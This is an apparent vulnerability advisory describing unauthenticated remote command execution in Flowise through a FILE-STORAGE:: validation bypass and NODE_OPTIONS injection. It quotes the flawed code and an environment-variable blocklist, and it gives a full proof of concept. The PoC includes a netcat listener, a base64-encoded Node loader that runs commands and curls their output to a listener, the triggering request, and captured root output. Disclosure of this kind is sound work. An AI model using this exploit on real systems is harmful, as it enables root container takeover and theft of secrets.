PT-2026-35305 · Npm · Flowise+1
Published
2026-04-16
·
Updated
2026-04-16
CVSS v3.1
7.7
High
| Vector | AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L |
Summary
Flowise is vulnerable to a critical unauthenticated remote command execution (RCE) vulnerability. It can be exploited via a parameter override bypass using the
FILE-STORAGE:: keyword combined with a NODE OPTIONS environment variable injection. This allows for the execution of arbitrary system commands with root privileges within the containerized Flowise instance, requiring only a single HTTP request and no authentication or knowledge of the instance.Details
The vulnerability is in a validation check within the
replaceInputsWithConfig function within packages/server/src/utils/index.ts. The check for FILE-STORAGE:: was intended to handle file-type inputs but has three issues:-
Uses .includes() instead of .startsWith(): The check passes if FILE-STORAGE:: appears ANYWHERE in the string, not just at the beginning. A remote user can embed it in a comment: /* FILE-STORAGE:: */ { custom config }
-
No parameter type validation: The check doesn't verify that the parameter is actually a file-type input. It applies to ANY parameter name, including mcpServerConfig.
-
Complete bypass, not partial: When the check passes, it skips the isParameterEnabled() call entirely, allowing modification of parameters that administrators never authorized.
Vulnerable Code (
FILE-STORAGE:: bypass):typescript
// packages/server/src/utils/index.ts, line 1192-1198
// Skip if it is an override "files" input, such as pdfFile, txtFile, etc
if (typeof overrideConfig[config] === 'string' && overrideConfig[config].includes('FILE-STORAGE::')) {
// pass <-- BYPASSES ALL VALIDATION
} else if (!isParameterEnabled(flowNodeData.label, config)) {
// Only proceed if the parameter is enabled
continue
}This bypass allows an attacker to override the
mcpServerConfig and inject a malicious NODE OPTIONS value. The Custom MCP node's environment variable blocklist does not include NODE OPTIONS, enabling an attacker to use the --experimental-loader to execute arbitrary JavaScript code before the main process starts.Vulnerable Code (
NODE OPTIONS not blocked):typescript
// packages/components/nodes/tools/MCP/core.ts, line 248-254
const dangerousEnvVars = ['PATH', 'LD LIBRARY PATH', 'DYLD LIBRARY PATH']
for (const [key, value] of Object.entries(env)) {
if (dangerousEnvVars.includes(key)) {
throw new Error(`Environment variable '${key}' modification is not allowed`)
}
}Requirements
API Override Enabled
The chatflow must have "API Override" toggled ON in Chatflow Configuration.
Public Chatflow
The chatflow must be shared publicly.
MCP Node
The chatflow must contain a MCP tool node (Custom MCP tool was tested and confirmed).
Although not enabled by default, the API Override feature is a powerful and officially documented capability that may be used in production deployments. Its primary purpose is to make chatflows dynamic and user-aware.
Common use cases that necessitate enabling this feature include:
- Session Management: Passing a unique
sessionIdorchatIdfor each user to maintain separate conversation histories. - User-Specific Variables: Injecting user data such as name, preferences, or role into prompts to create personalized experiences.
- Dynamic Tool Selection: Allowing users to specify which data sources or APIs to query based on their needs.
- Multi-Tenant Applications: Supporting different configurations for each customer or organization without deploying separate chatflows.
- A/B Testing: Evaluating different prompts or models in a live environment.
Setup
To reproduce the vulnerability, follow these steps:
Step 1: Start Flowise Instance
bash
docker run -d --name flowise-test -p 3000:3000 flowiseai/flowise:latestStep 2: Configure a Public Chatflow with MCP Tool
- Navigate to
http://localhost:3000and create an account. - Create a new chatflow.
- Add a
Custom MCPnode and aCustom JS Functionnode. - Connect the
Custom MCPoutput to theCustom JS Function's tools input. - Configure the
Custom JS Functionto be anEnding Nodewith the code:return $tools ? "Tools loaded" : "No tools"; - Configure the
Custom MCPwith the MCP Server Config:{"command":"npx","args":["-y","@modelcontextprotocol/server-everything"]} - Save the chatflow and note the
chatflowIdfrom the URL. - In Chatflow Configuration, enable API Override and make the chatflow Public.
PoC
Single-Request RCE with remote command output retrieval. The following demonstrates arbitrary command execution with automatic data transmission to a remote listener:
Step 1: Setup Listener
bash
# Start netcat listener to receive transmitted data
# Note: If testing locally, run this in a separate terminal
nc -lvnp 5000
echo "Listener started on port 5000..."Step 2: Trigger Exploit
bash
#!/bin/bash
CHATFLOW ID="ABC-123-..."
TARGET="http://localhost:3000"
LISTENER IP="172.17.0.1" # Docker local IP for testing
# Payload: Execute commands and transmit output to remote listener
LOADER CODE='import{execSync}from"child process";const cmd="id && pwd && ls";const out=execSync(cmd).toString();try{execSync("curl -s -m 3 --data-binary ""+out+"" http://'$LISTENER IP':5000");}catch(e){}export{};'
ENCODED=$(echo -n "$LOADER CODE" | base64 | tr -d '
')
# Construct the crafted MCP config
CONFIG='{"command":"npx","args":["-y","@modelcontextprotocol/server-everything"],"env":{"NODE OPTIONS":"--experimental-loader data:text/javascript;base64,'$ENCODED'"}}'
CONFIG ESCAPED=$(echo "$CONFIG" | sed 's/"/"/g')
# Single request triggers RCE
curl -X POST "$TARGET/api/v1/prediction/$CHATFLOW ID"
-H "Content-Type: application/json"
-d "{
"question": "trigger",
"overrideConfig": {
"mcpServerConfig": "/* FILE-STORAGE:: */ $CONFIG ESCAPED"
}
}"Step 3: Verify Command Execution
# Check the listener output
Connection received...
POST / HTTP/1.1
Host: 172.17.0.1:5000
User-Agent: curl/8.17.0
Accept: */*
Content-Length: 214
Content-Type: application/x-www-form-urlencoded
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/
bin
dev
etc
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
varImpact
This vulnerability allows for:
- Full Container Compromise: Arbitrary command execution as the root user.
- Data Exfiltration: Access to all secrets, credentials, and user data within the container.
- Lateral Movement: A pivot point for attacking internal networks and other connected systems.
The exploit requires no prior authentication, no specific knowledge of the target instance, and is executed with a single HTTP POST request, making it a critical and easily exploitable vulnerability.
Credit
Jeremy Brown
Fix
RCE
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Flowise
Flowise-Components